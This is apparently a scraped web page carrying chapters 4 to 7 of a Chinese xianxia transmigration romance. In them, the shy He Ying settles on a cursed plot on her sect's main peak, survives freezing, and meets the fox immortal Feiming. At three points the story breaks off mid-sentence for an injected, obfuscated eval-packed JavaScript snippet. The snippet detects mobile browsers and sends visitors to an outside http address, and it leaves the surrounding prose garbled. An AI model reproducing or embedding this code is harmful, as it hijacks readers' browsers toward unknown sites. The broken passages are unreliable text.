何缨打起精神,一个人在宗门里探索了起来。 苍冥仙宗不愧是第一宗门,配套设施十分齐全。何缨掏出一块灵石,交给看管飞行坐骑的师兄,乘上了一只仙鹤。 沧溟仙宗里大大小小的山峰有几十座,何缨同看守师兄打听过,掌门的住处就在正中间的主峰无相天峰上。何缨想着,把家安置在离师父近一点的地方会更方便些。 然而何缨不知道的是,无相天峰身为沧溟的主峰,灵气也是比其他山峰要更浓郁的。哪怕在购房小报上,此峰的优先级也比其他的要高。许多其他长老的弟子出师后,便搬迁到了主峰上。东一块地西一块房,已经把这座山掏了个干干净净。 她跳下仙鹤,就看见了一间间五花八门的牌匾,以及一群紧张兮兮站在家门口的师兄师姐。何缨看了看名牌,得,又是一群不得好死的。 所以这书的主线到底发生了啥?怎么大家都死的这么惨? 他们一见何缨来了,立刻迎了上来。 “你就是拜入云掌门门下的何师妹吧?” “真是百闻不如一见,何师妹如此天资卓绝,我等自愧不如。” “这是师姐亲手制作的防御宝器,还望小师妹不要嫌弃。” “这是师兄自拍卖行带回的天玄法衣,赠与小师妹做见面礼。” 何缨看着逐渐逼近的人群,连连后退。 不是,你们到底要干啥啊! 何缨强行压下恐惧,心里却还是打怵。而一遇到这种情况,何缨就会下意识用尽全力克制自己的表情,以至于大多数情况她都面无表情。 “……何缨见过诸位师兄师姐,各位师兄师姐有何吩咐,何缨不懂,还望明示。” 众人只见何缨冷冷地回绝了他们的赠礼,一时心都凉了半截。 这不是个好相与的,怎么办,万一被她看中自己的房子就再没有回转的余地了!他们没什么吩咐,他们只是想保住自己的房子啊! 一听说何缨拿到了第二块掌门令上山选房,别管是修行的还是游历的,但凡是住在无相天峰上的,全都赶了回来,把自己家拆的破破烂烂,以免被何缨挑中。 正常来讲,刚入门的弟子是没资格挑选住所的,但唯独掌门弟子是个例外。因为掌门他一收弟子就是直接给掌门令啊!仙宗里所有禁制全都形同虚设啊! 何缨见众人唉声叹气,摸不着头脑,她朝侧边移了一步,从人群的缝隙钻了出去。 众人哪能放过她,连忙跟上。 何缨路过第一处住所,一个师姐冲了上来。 “那个,小师妹……我这房子地势又低,离灵脉又远,灵气稀薄得很,配不上你!” 缨尴尬地点了点头,倒也不必介绍这个。 何缨路过第二处驻所,又有一个师兄冲了过来。 “小师妹,不瞒你说。我这地,让我给种坏了,那是半点灵气都没有啊,根本不适合修炼,平常我都去别人家修炼,你可千万别选这个,选了真是后悔一辈子啊!” 何缨终于反应过来了,原来这帮人是怕自己抢他们住的地方,这才来百般讨好她的。 这些奉承和她本人毫无关系,仅仅是因为,她腰间的那只令牌。 她停下了脚步。 身后跟着她的人也随之停下。何缨不走,他们也不敢走。眼看着何缨的脸色越来越冷,他们的心也跟着七上八下。等了一会,何缨转过身来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785726|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她低着头,并不看向他们中的任何一个。 何缨低沉的情绪化成了实质,一身凛冽的寒气凝成了层层的坚冰,将众人逼退。 “我不会抢你们任何人的住所,也不会用掌门令威胁任何人。请回吧。” 说完,何缨转头,继续向无相天峰的最深处走去。 这次没有人再跟着她了。 “她,她不是练气期么?怎么会有如此深厚的灵力?” “嘘,不该你问的,你别多问。何师妹这样的人,那是金口玉言说一不二。她不来抢夺咱们的住所,这就够了。散了吧,各自做自己的事去。” “可是,如果她真的不占别的房子,那不就只剩下那个——” “慎言,慎言!” 何缨绕过一座座灵力浓郁的洞府,无相天峰上的洞府之多,简直就像大城市那密密匝匝的楼。 不过无相天峰到底是还是座高耸入云的山,看着宽阔不少。 说了自己不会夺人所好,但是依旧有不少人站在自家洞府门口同何缨搭话。 何缨沉默以对。 越往上走,灵力便愈发浓厚。她绕过一处竹林,忽然看见林间有一间小屋。 何缨走近,这才注意到竹林里坐了个人。是个男子,或许是因为衣着古朴,装束过于严整的缘故,显得十分老成。看来这座小草屋也是有主的。 何缨摇头叹息,来错了地方。这无相天峰颇受欢迎,也难怪那些人那么害怕,怕是除了抢占别人的地盘,根本没有任何地方给她居住了。 她转身正要离开,竹林里静坐的男子忽然开口了。 “你是云师兄新收的弟子?”他睁开眼,看向何缨腰间的那块掌门令。 何缨点了点头。“我不会抢你的住处的,你放心。” 林中的男子没有接她的话,反倒站起了身来。墨色的衣摆轻轻一晃,人已经来到了何缨面前。他的腰间,系着一只一模一样的掌门令牌。 “既如此,你便是我的小师妹。一点心意,莫要推辞。”他取出一只乾坤袋放到何缨手上,又自眉间抽出一道剑意,凝成一柄小小的飞剑,交给何缨。 “化神期以下,所见皆可斩。” 原来是自家亲师兄,这错乱的辈分还真是一脉相承啊!何缨看向师兄胸前的名牌。 【男二为女主而死】 何缨瞪大了眼睛。怎么就为女主死了?我那么大一个师兄怎么就要死了? 何缨不善推辞,又怕被人发现她能看到奇奇怪怪的东西,于是便赶紧将师兄给的东西都收入了云淮给的那只乾坤袋。 “多谢师兄。请问师兄名姓?” “景言川。”师兄惜字如金,一看便是个一心练剑的老实人。何缨不想打扰师兄修行,只是这无相天峰上看房如大海捞针,要她问其他人她更难为情。 既然已经搭上话了,那问个问题也是可以的吧! “我叫何缨。单立人可,簪缨的缨。师兄,这无相天峰上,可还有什么无人的住所?” 景言川微微皱眉,思索了一番后,给何缨指了个方向。 何缨眼睛立马亮了起来,她本以为景言川这般沉闷的性格,怕是除了修炼什么都不关注,没想到他还真知道! 就冲着这个,何缨也要拯救一下景言川。 “多谢师兄……师妹还有一句话不知当讲不当讲。”何缨在脑内疯狂措辞,时速堪比考试最后十五分钟写作文。 女主有主角光环,少了一个男二也死不了,但师兄要是见了女主就离死不远了,能劝一下还是劝一下吧!万一呢,万一结局能改变呢! 景言川:“师妹请讲。” 高估了自己交流能力的何缨:“……好好修炼,切莫贪杯。” 何缨恨不得把自己捶扁,几百只羊驼在心里狂奔,想了半天怎么就憋出一句这个! 景言川:“……“他到底哪里给了师妹贪杯的错觉。 但是师妹一片好心,他还是点了点头。“好。” 何缨在自己的脚趾抠出一栋房子之前落荒而逃。 5. 第 5 章 景言川指向的这条小路绕着无相天峰的外围转圈,一直转到了最顶上,从云淮的住所旁经过。 练气期与常人几乎无异,高浓度的灵气也会成为让人喘不过气的负累。可是何缨在这浓郁的灵气中穿行而过,反倒十分舒适。 浓郁的大片绿荫,山泉自过道旁倾泻而下,倒映出几条游鱼的影子。 不知过了多久,一直绕到了掌门住所的后方,何缨终于走到了小路的尽头,并看到了那个无人居住的庭院。 说是庭院,其实就是插着个破烂石碑的一大片空地。 何缨有些意外,这里不仅灵力是一等一的浓郁,环境也十分宜人。空地旁有一汪波光粼粼的湖水,向远处延伸到瀑布旁;湖边的斜坡上有一片茂盛的树林,偶尔能看到林间奔过的小动物。一把黝黑锃亮的石剑就插在岸边,静悄悄地等待着有缘人的到来。 有山有水有树林,有花有鸟有锦鲤,这么好的地方怎么会无人居住呢?何缨有些疑惑地在周围转了几圈,依旧没看到什么异常。 难道这地方闹鬼?可是掌门的住所就在前面啊? 百思不得其解,何缨掏出掌门令,再三犹豫。 就在这时,一个声音忽然从身后传来。 “师妹,你快出来,这彼岸之间可住不得啊!” 何缨回头,是一开始在山脚拦住她的其中一个师兄。他站在拐角瑟瑟发抖地朝里张望。 或许是良心发现,他不顾众人的阻拦,还是追了上来,将实情告诉了何缨。 “师妹有所不知,自仙宗创立以来,共有七十七名弟子在此地居住过,但是他们无一例外,全都在修炼之时走火入魔,爆体而亡。” “走火入魔?那他们都是修的什么?” “皆是剑修。” 妈耶,竟然都是剑修。剑修的心智不应该是修士中最为坚定,如磐石一般难以转移的存在吗? 七十七名剑修都陨落在了这个地方,那这个地方却是有些邪门了。 第一位剑修陨落时,大家不以为意,走火入魔是自己道心不坚,愿不得别人;然而,第二位,第三位,一直到第十位,大家终于发觉,此地不同寻常。 于是有些不怕死的剑修为了挑战自我,特意挑选这个地方居住。然而,一直到第二十一个剑修也同样走火入魔,大家终于对这个地方产生了畏惧。众人便给这地方起了个名,叫做彼岸之间。 但是架不住有人觊觎这无相天峰浓厚的灵力,在那之后,仍有不少不怕死的剑修来此地修炼,结果无一例外,都陨落在了此地。 事情闹到掌门那,云淮便调查了一番,众人翘首以盼,结果云淮撂下一句无事,道心不稳别住,便没了后文。 于是冲着掌门这无事两个字,又有人来这里住下。然而事情并不像掌门说的那么简单,不该死的还是死了。 人数一直叠加到第七十七人,而当第七十八人也是最后一个人住进来之后,事情发生了改变。 但也不是什么正向的改变,这人走火入魔之后道心陨落,魔功反而大成,于是叛逃仙门改行修魔去了。自那之后彻底没人敢来这里居住,要是身陨也就罢了,现在可是又背上了个叛逃的锅,可谓声名狼藉。众弟子纷纷表示住可以随便住,但这叛逃可不兴叛逃啊,名誉大过天! 于是彼岸之间的传言又一次变化,大家一致认为这地下肯定有个上古时期的魔头,在引诱心智尚不坚定的人进来,给他陪葬。 何缨听得满头大汗,都什么乱八糟的,说是凶宅不就完了! 师兄苦口婆心劝说了一阵,以为何缨能回心转意,然而何缨听完他这一段长篇大论,更迅速地把掌门令贴在了门前的石碑之上。 灵力一阵涌动,将何缨的气息留存在了其中。四周的结界立刻升起,提示着到访此地之人,这里有人居住了。 在石碑上留下自己的笔迹就算完成,何缨纠结许久,最后又画了一只小狐狸在石碑上。 一上来就惹了绯明仙尊,无异于摸老虎屁股。但不管怎么说,那张符便是何缨和修真界结缘的证明。 “师妹糊涂啊!”师兄摇头叹息。 何缨却很认真地说:“多谢师兄好意。既然我师父说了无事,那便是无事,若我这个当徒弟的都不信师父,这世上还有谁能站在他的那一边?“ 师兄无言以对。他见何缨执拗,只能当自己好心做了驴肝肺,转头下了山。 何缨又一次松了口气。 刚才那些话虽然也是实话,但并不是主要原因。 主要原因是,彼岸之间啊!山间凶宅啊!大家都不敢来啊! 只要在这里住下,就绝对不会被陌生人找上门来了。 邻居少,没人找,交通方便,环境优美,这满足了一个社恐的全部生存需求。 何缨一步一步,走进这个属于自己的家,在柔软的草地上舒舒服服地躺了下来。院子外的小路上种了许多樱花树,一阵风吹过,漫天粉色便洋洋洒洒扑落在了何缨身上。 何缨看着碧蓝色的晴空,伸了个懒腰。 穿越前的何缨没有什么钱,老房子拆迁后,何缨一直是租房子住。 而如今,她第一次拥有了一个属于自己的住所。 以后,她就可以把这里随便装饰成自己喜欢的样子,多余的部分还可以种一些漂亮的花,在湖里养些漂亮的鱼。 根据刚才那位师兄所言,住在这的人都因为修炼走火入魔了,那她躺平开摆不就没事了? 不对不对。自己不是说好了要当一个配得上掌门弟子身份的修士么! 可是入门测试和考试都是瞎猫碰上死耗子过的,何缨于修炼一道完全不了解,想要修炼又从何下手呢? 好在修真界没有手机,何缨胡思乱想了一阵,终于还是睡着了。 何缨在梦里又一次见到了绯明仙尊,大大的毛茸茸在树底下趴着休憩,九条尾巴温顺地垂在身后。而她趁着狐狐睡觉,把他的耳朵和尾巴摸了个遍。 嘿嘿嘿,毛茸茸真好摸啊。 何缨就这么咧着嘴把自己笑醒了。 她一睁眼,圆月高挂,淡淡的月光洒在她的身上。什么狐狸,什么尾巴,全都无影无踪。何缨爬起来,这才想起自己只是占了一片土地,却还没有房子。 她拿出云淮给的乾坤袋,伸手掏了掏。 咦?袋子里什么都没有。 她之前不是还把师兄给她的东西都放进去了么? 直到这时,何缨忽然意识到一个问题。 乾坤袋是不是也得修为够了才能打开啊! 也就是说,何缨今天先是在宗门口测了一个惊天地泣鬼神的变异冰灵根,然后又在入门测试画了张惊天地泣鬼神的请仙符,得到了双倍奖励之后她十分冷酷地拒绝了一众同门的帮助请求,然后一觉睡到大半夜忽然发现特么奖励宝箱她打不开! 何缨用尽了蹲坑的劲也没能打开这个只进不出的乾坤袋,顿时失去了所有力气和手段。 何缨没想过责怪云淮给她一个打不开的乾坤袋,也没想起来责怪无影无踪的何谏云。她只是万分懊恼,恨不得把刚才呼呼大睡的自己拍死。 怎么就这么心大? 睡觉的时候没什么感觉,现在清醒了,饥饿感也随之出现。 何缨随何谏云出门本就匆匆忙忙,根本什么吃的都没带,随身的行李更是没有,两个人都只是不抱期望地来试一下,也没想到真进来了。 她捂着小腹环视四周,周围是一片草地,森林里漆黑一片,何缨不是很敢靠近。 何缨走到湖边,忽然看到了插在一旁的那柄石剑。 这石剑看起来有些年头,伸手摸了摸那石剑凹凸不平的表面。随着她的动作,石剑竟然散发出了一阵微光,好似有了活气,不苟言笑地杵在一旁。 她摸了摸剑身,轻声轻气地喊:“剑兄。” 剑兄岿然不动,一言不发。 何缨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一双赤色眼眸淡漠地扫视周围,湖面上,几朵千年雪莲妖冶绽放。他低头一看,一个大冰棍就趟在他脚边,忍不住发出一声冷笑。 原本还想着上哪去找这个练气期,却没想到,她自己送上门来了。 来人不是别人,正是白天被何缨绑了蝴蝶结的绯明。 绯明俯下身,用手指戳了戳大冰棍。 “大冰棍”何缨一动不动。 他踢了冰棍一脚,冰棍滴溜溜地在地上打了个转。 绯明难以置信的抖开袖袍,看向自己的手腕。 白皙的手腕上,一条几近透明的红线显出形状。它一路延伸,一路伸展,然后…… 缠上了何缨的手腕。 绯明再一次沉默。 到底是谁给了这个练气期胆子,随意碰触千年雪莲的? 区区一个练气期,凭什么成为他的情劫? 何缨一动不动,任凭绯明怎么戳一戳,都没有反应。 绯明右手一抬,这具冰雕便翻转了过来,在月色之下露出了少女明媚的面容。 他并不打算帮忙,只是将手隔着冰,放在了何缨的侧脸上。 什么都不用做,只要就这么看着,待到雪莲的寒气将她彻底浸透,她就会立刻死亡。 几千年没杀人,绯明本来还有些不习惯,这下问题倒是迎刃而解了。 绯明在何缨身边靠着石剑坐下,看着冰霜一点点爬上何缨的眉头。她的嘴唇也从一开始的红润变得发紫。 只要何缨死了,灵魂便会回到黄泉路重新走一遭,他的情劫也会随之消失。这场情劫从二十年前就被司命紧锣密鼓地宣告,最后却落得了一个虎头蛇尾的下场。 果然无趣。 “去。”绯明松开了手,红色的绸缎便飞向了何缨,它神奇的穿透了厚厚的冰,有条不紊地缠在了何缨的脖颈上,变成了一只红色的蝴蝶结。 九尾天狐就是这么记仇。哪怕敌人已经要死了,也得先报仇。 哼,敢给他系那么丑的东西,这就是下场。 6. 6 红色的蝴蝶结系在何缨的颈间,配上何缨身上的红牡丹襦裙,意外的妥帖,十分好看。 那蝴蝶结一贴上何缨的肌肤,便飘出了一股仙气。那仙气裹挟着绸缎里的精魄,回到了何缨的身体里。 何缨感受到一阵暖流融入了身体里,意识也一点点地回来了。 残缺的灵魂终于完整,浓郁的灵气立刻流动了起来,往何缨的四肢百骸里钻。 何缨只觉得自己体内就像是有无数个阀门一样,噗噗几声,全都打通了。 撒欢乱窜的灵气裹挟着雪莲的寒意,在打开了何缨体内的所有经脉之后,又温顺地回到了何缨的丹田里。 何缨一伸手,只听咔嚓一声,包裹着她的冰碎了。她扑腾着从满地的冰块中爬了出来。 何缨还没来得及为自己重获新生而欢呼,一只纤长的手就捏住了她的脸。 何缨被迫抬头,一双鲜红的眼眸出现在了她的视线里。男子的肤色苍白,神情也很淡漠。 妈呀,修真界也有吸血鬼? ……好像还是食物链顶端的吸血鬼。 何缨往他胸口一看。 【男主???】 我嘞个男主啊! 我嘞个问号啊! 这金手指到底靠不靠谱啊几G的网速能不能刷新一下,连个故障报修的地方都没有! 何缨真是有苦说不出,不过重点不是这个,重点是怎么男主大半夜跑这儿来了? ……还挺养眼。 何缨其实也不知道什么样算帅,但是她知道这个人不丑,五官端庄,比例恰到好处,是很客观的好看。画出来肯定特别漂亮。 说起来,不知道这位男主是什么型号?是温柔冰山型的还是狂霸酷拽型的?感觉最近很流行苦大仇深型的……不过何缨还是比较喜欢阳光开朗金毛型的。 绯明就看着何缨又惊讶又不住地端详他,一会害怕一会傻笑,十几种表情迅速从她的脸上飘过。 跟川剧变脸似的。 “你认识我?“绯明眯起眼。他上次见何缨是以原身的形态应召而来,何缨不该认识他。 何缨已经神游到男女主是虐恋情深还是温馨甜宠了,她强行拉回了自己的注意力,咽了咽口水,“不,不认识。“ 总不能告诉他你其实是一本书里的男主角吧! 绯明皱着眉,他捏住了何缨的脖子,将何缨提了起来。 ……太弱。 何缨眼冒金星,感觉自己好不容易争取回来的命又要无了,焦点访谈结尾曲又开始播放了。 坏了,这男主好像是阴郁疯批那一卦的。 这种时候要说什么才能让男主手下留情呢,大女主一定会据理力争顺便反杀一波,小白花女主一定会泫然欲泣楚楚可怜表示甘愿赴死,沙雕型女主没准会直接吐男主一脸并且表示自己吃多了不好意思。 然而何缨哪一种都不是,自闭社恐小能手何缨只能弱弱地回了三个字。 “对不起……” 生而弱小,我很抱歉。 绯明:“……” 绯明一松手,何缨噗通摔在了地上,大口大口地喘气。 绯明再一次怀疑司命是不是搞错了什么,这个死到临头还跟杀人者道歉的小丫头凭什么成为他的劫? 连杀人的欲望都没了。 绯明看着跪坐在地的何缨,泄愤似的踢了一脚石剑。石剑被他踢得抖了三抖。 何缨瑟瑟发抖,捂住了自己的头,生怕这位又一个不顺心把自己给提起来。 “站起来,看着我。” 何缨抱着头一动不动装聋作哑,像一只缩着脖子的红鹌鹑。 绯明一把将湖中的莲花薅了下来,扔在了何缨面前。 “吃。” 何缨看着那朵被皱皱巴巴扔到自己面前的莲花,心道果然是我太弱了吗!怎么他一整棵薅下来什么事都没有! 其实这也不怪何缨,她是冰灵根,天生就会吸引冰属性的东西,受它们的影响也更大。 现在好了,大佬不直接掐死自己是怕脏了手,现在又要逼她自尽了! 绯明又一次俯下身来,挑起何缨的下巴。 “怎么,难道要我喂你吃?” 血色的瞳孔几乎将何缨吞噬殆尽,何缨大脑一阵宕机,拿起整朵莲花囫囵吞下了肚。 浓烈寒意自肺腑蔓延,何缨痛得恨不得一头在剑兄身上创死。 比起死,还是疼痛更折磨。 绯明看着少女痛苦绻起的身体,有些意外。 刚才随意扫了一眼,竟没注意这练气期是个冰灵根。真是稀奇。 千年雪莲最易滋补灵力,可助人修为大涨,突破境界。可冰灵根和雪莲属性相仿,加之何缨才仅仅是练气期,很容易反被雪莲侵蚀。 绯明打了个响指。一簇火苗出现在他的指尖之上。他半跪下来,握住了何缨的手腕。两道缠着红线的手臂交缠在一起,温暖的灵力流进了何缨的胸口。 一阵热意融入了何缨的心房,她只觉得胸口一阵发热,像是喝了葡萄酒一样。 冷与热对冲,气息竟然意外地顺畅了下来,疼痛也逐渐消失。何缨大口地呼吸,她根本不知道如何调息,只能通过吸气呼气让自己恍惚的精神平静下来。 不久后,三枚雪莲花瓣似的印记出现在了她的眉间。 见到印记,绯明收回了手,拂袖回了剑中。 何缨像一条搁浅的鱼,在湖边扑腾了好久,想象中的死亡并未到来,痛意竟然也渐渐消失了。 她把眼睛睁开一条缝,悄悄地四下打量。 周围哪还有男主的身影。何缨长舒一口气,从地上坐了起来,心疼地掏出手帕,替石剑擦了擦。 剑兄不仅承担了男主的火气,还挨了男主一脚。 “剑兄,都是因为我,让你受苦了。”何缨抱住石剑,一阵哽咽。 “剑兄,从现在开始,我们就是过命的交情,有难同享,有福同当……以后但凡有我何缨一口吃的,绝不会让剑兄挨饿!” 剑兄听没听懂何缨说什么无人知晓,但是刚回到剑中的绯明将正这一番豪言壮志听了个完整。 ……小丫头还有两副面孔,刚才不是怕得不行?现在又来劲了? 绯明将手放在石剑的内壁上。 其实这不是什么石剑,而是绯明为了监察人界怨气布下的七情石。 七情石顾名思义,可以感受到外界人类的各种情绪和欲望。 此刻,一仙一人贴着石壁,绯明立刻感受到了何缨心中的情绪。 ……堪称一团乱麻。 绯明不是没见过欲望和怨气极其深重的人,但是像何缨这样情绪变换不停不知疲倦的,他还真没见过。 一下挑到最高,一下又跌至谷底。 感受了一会儿,绯明忽然有了新的想法。他屈指一弹,一个白色的光团飞出了石剑。绯明不再久留,他化为原身,回赤璃镜去了。 何缨抱着剑兄絮絮叨叨念了许久。随着雪莲一点点的消融,体内的最后一个关窍已经打开,何缨感觉自己的头顶像打开的汽水瓶一样冒气儿,砰砰砰,哗啦啦。 一阵强光闪过,下一秒何缨便出现在了一片仙气飘飘的云朵之上,面前是堆积如山的灵石、法器还有乱七八糟的书籍。 乾坤袋自天上掉了下来,砸在了何缨的头上,罩住了何缨迷茫的面容。 何缨拿下乾坤袋,这是给她干哪来了? 何缨下意识地把手又一次放进了乾坤袋,一阵白光闪过,何缨嘭的一声落回到了草地上。 咦?何缨哐啷哐啷抓着乾坤袋摸来摸去,一会儿消失一会儿出现,闪烁得像一颗火花带闪电的小星星。 就在她把乾坤袋差点搓出火星子之时,她终于弄明白了。 原来云淮给她的不只是一个储物袋,还是一个空间。 何缨感觉自己肚子也不饿了,精神也饱满了许多,视觉和听觉都变得更加清晰。此时此刻,何缨终于感受到了如同清泉一般甘美的灵气,正围绕在她的周围。 乾坤袋也打得开了,莫非是向修仙小说里写的一样,突破了? 可是她什么都没做啊?难道是因为经历了生死劫难,所以有所顿悟? 一边想着,何缨再次进入储物空间,看着杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785728|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七杂八堆在一起的不知名物品发愣。 她算是知道云淮有多随便了,感觉这个乾坤袋就是云淮平时碰上点什么就随便扔了进来,小到各种灵石,大到洞府和灵泉,什么都有。 不知道景言川拜师的时候,是不是也得了一个这样的乾坤袋? 想到景言川那副冷冰冰的模样,很难想象他是怎么拜云淮为师的。 何缨挽起袖子,反正也不困了,就把这些东西整理一下吧。 发光的不发光的各色法器放一堆,装着丹药的玉瓶一堆,不知名的宝剑一堆,书籍一堆…… 还有一只巨大的铜镜。 这枚铜镜实在是太过引人注目,而何缨关注它的另一个原因则是——铜镜的背后同样画了一只她熟悉的小狐狸。 何缨一碰触到镜面,铜镜就缩小成了正常铜镜的大小。 何缨摸了摸镜面,下一秒,人已经出现在了一个古色古香的楼阁里,铜镜化作了一个大大的出入口,落在何缨的身后。 这就是修真人所说的洞府吗? 楼阁十分宽广,并且有三层那么大,何缨绕过一楼的亭台水榭,来到二楼。 二楼全是书柜,摆满了和符箓相关的书籍,桌台上满是笔墨纸砚,还有装着朱砂的盒子。 三楼则是寝殿。 何缨把从乾坤袋中搬来的书籍一本本的摆上书架,又把那一堆大大小小的灵石放进箱子里装好。 她收起铜镜,兴高采烈地抱着一堆乱七八糟的笔墨纸砚出来了。人不能不喝水,就像画家不能停止画画。 哗啦啦,何缨傻乐着摔到了草地上,宣纸撒了一地。 她从怀里掏出铜镜,铜镜立刻变大,大到足足有两层楼那么高,悬浮到了空旷土地的正中央。 十分满意地看着自己的新家落成,这下何缨终于不用在草地上打滚了。 有了住处,何缨反倒不急着回家。她捏着画纸和木板,又一次靠着石剑坐下。 自穿越到这里,何缨有将近一年的时间没有画画,白天画符的时候明显感觉到线条滞涩许多。 也没办法,如果何缨是能够占据主动的人的话,跟何家提出想要笔和纸理应不是什么难事。 可是何缨做不到。这一年的生活犹如漆黑的阴影,将何缨彻底笼罩。以前的时候看着小说里被关在深闺中的少女和江湖侠士私奔,并没有什么实感,而直到自己也成为了那样徘徊于深院中被命运随意安排的大小姐之后,何缨才知道,那样的孤独和失去自我是多么的令人恐惧。 说不完道不尽的管教。不被允许的人格自我。终究要为一个陌生男子奉献的一生。 ……再不练习的话就要全忘光了。 何缨努力将自己那不停扩散到别处的焦躁思绪拉回。 画些什么好呢?何缨支着下巴。 以前何缨是画角色立绘的,现在自然也要从人物画起。 何谏云、女主、云淮、景言川……何缨不断地回想,最后浮现在脑海的,却是男人鲜红的双眸。 她还不知道男女主都叫什么名字。 何缨动笔,在纸上画下了一高一矮两个人形。 女主现在还太小,那就想象一下她长大了之后大概的样子吧。 说画就画。 修真界显然没有现代那些方便的工具,画下之后也不能撤回,何缨画废了好几张纸,这才打完了草稿。 身边没有颜料,她画了张黑白色的画,用朱砂填涂了眼睛。 看着那双瑰丽的红宝石色眼眸,何缨满意了。 画上一对俊男美女,男主从身后紧紧搂住女主的腰,脸却不自在地看向一侧,少女面颊绯红,带着笑意看向男主。两个人十分和谐地紧紧相依。 虽然作画条件十分艰苦,但好歹是画完了,停笔了一年,能够重拾画笔,何缨很高兴。 收起纸张和笔墨,何缨从地上爬起来,却忽然感觉有什么东西压住了她的裙摆。 一团白色的毛茸茸蜷缩在她的裙子上。 是一只通身雪白的狐狸崽,唯有额头和尾巴尖上有几抹花瓣状的红色,好像一只放了草莓的奶油小蛋糕。 7. 7 什么时候来的?从树林里吗?何缨试着拽了拽裙角,小狐狸睁开眼睛,用一双赤红的眸子看向她,似乎在控诉不满。 何缨又挪了挪裙摆,小狐狸跳了起来,仰着头,像巡视领地似的在何缨的裙子上转了一圈,然后又趴下了。 何缨:“……” 这修真界打哪来的这么多狐狸!? 天色渐亮,何缨忽然发觉自己不是突破了所以不困,而是习惯熬夜所以不困,所以在天要亮的时候,她困了。 但是这只狐狸要怎么办呢? “你是家养的?还是,野生的?”困顿使人停止思考,何缨打了个哈欠,蹲下来伸手轻轻碰了碰狐狐的耳朵。 狐狐躲开何缨的手,转过去用大尾巴挡住了何缨的视线。 不想回答就不回答呗,转过去几个意思! 想是这么想,但何缨一向对非人的东西更有耐心。对一只小狐狸崽更是没脾气。 想到这里,何缨没再扯裙子,她把画卷成一卷,用裙子把小狐狸兜了起来。 突然被裙摆提起,狐狸崽不安分地打了个滚,直起上半身同何缨对视。 “那个,我要回去睡觉了,外面……不太安全,你这么喜欢我的裙子,要不要先跟我回家?“何缨看着那一甩一甩的大尾巴,心痒手也痒,从提着裙子变成了直接隔着衣服捧着毛茸茸。 狐狐歪了歪头。 筑基期已经不用睡觉了,这小丫头竟然用这种借口搪塞他? 想带他回家就直说啊。 狐狐看向那面铜镜。 更何况,这“家”,还是他亲手炼制的。 何缨就看着小狐狸屈尊降贵地从她的裙摆上跳下,大摇大摆地朝铜镜走去。 ……一点也不见外。 何缨有点怀疑这修真界的狐狸是不是都是个什么仙了,不然它怎么这么拽? 何缨抱起画纸匆匆跟上小狐狸。一进到铜镜里面,狐狐就自顾自地上了三楼,在楼阁里唯一的一张大床上趴了下来。 不偏不倚,正好趴在了床的正中间。 这也太不见外了吧!你为什么这么熟练啊! 等一下。这个铜镜上有狐狸,请仙符请来的仙尊也是狐狸,那现在她面前的这只狐狸…… 该不会是绯明座下的狐狸仙侍吧?何缨脑洞大开,一下子想明白了其中的关窍。 嗯,这就不奇怪了。这就能解释了。 刚才她掏出铜镜的时候也没细看,没准人家狐狐就是从镜子里出来的呢! 这么一想,何缨瞬间毕恭毕敬了起来,回自己家算鸠占鹊巢吗,不算! 何缨能屈能伸,不仅不怪他占据了大床的正中心,甚至决定自己也不躺床上了。 她放下床帘,给狐狐盖上小被,还垫了个软枕在他身下。 狐狐睨了何缨一眼。 何缨并未察觉,她十分虔诚地双手合十,对着狐狐拜了三拜。 “仙侍大人在上,小人无知,冲撞了绯明仙尊,若是日后仙侍能在仙尊面前替小人美言几句,小人定然当牛做马,鞠躬尽瘁,死而后已……” 狐狐:“……” 这人有病? 何缨又念念叨叨了一堆她能干的活,单纯得像个应聘的毕业生。直到狐狐两只耳朵都耷拉了下来,她这才停止了碎碎念,取了一床被子来,铺在床边的地板上。 镜中楼阁十分整洁,既不会落灰,也不会老化和变脏。 何缨钻进了被窝,美滋滋地想,自己还没睡过榻榻米呢,也是让自己体验上了。 也许是环境太新鲜,也许是修真界没有手机,也许是狐狐太过可爱,也许是熬夜真的熬过了头,也许是劫后余生太过疲惫,一向难以入睡的何缨一躺进干净绵软的被子里,就呼呼睡着了。 她又一次梦到了绯明,月色下,大大的九尾狐身后跟着一群白色的小狐狸在她的院子里散步,朝她欢快地嘤嘤叫着。 许久过后,床上的狐狐摇身一变,变成了一个黑发红眸的男人。 不是绯明还能是谁? 绯明懒懒翻了个身,撩开床帐。 床边,何缨呼吸平稳地熟睡着。 绯明用手指戳了戳何缨的脸颊。何缨不为所动,还在绯明的手背上蹭了蹭。 ……这筑基期还真睡了,不仅睡了,还睡得挺香。 绯明轻巧地翻下床,离开了三楼。 很快,他在二楼找到了自己想要找的东西。 绯明展开那卷画纸,一男一女依偎在一起的画面映入眼帘。 何缨只见了绯明一次,就把绯明的模样印在了脑海里,分毫不差地还原在了纸上。 绯明看着画像上自己的侧脸。 哼,画得还行吧,勉强画出了本座三分气魄。 他看向另一半的女像,就有些不解了。 何缨怎么把她自己画这么丑?脸也丑衣服也丑。 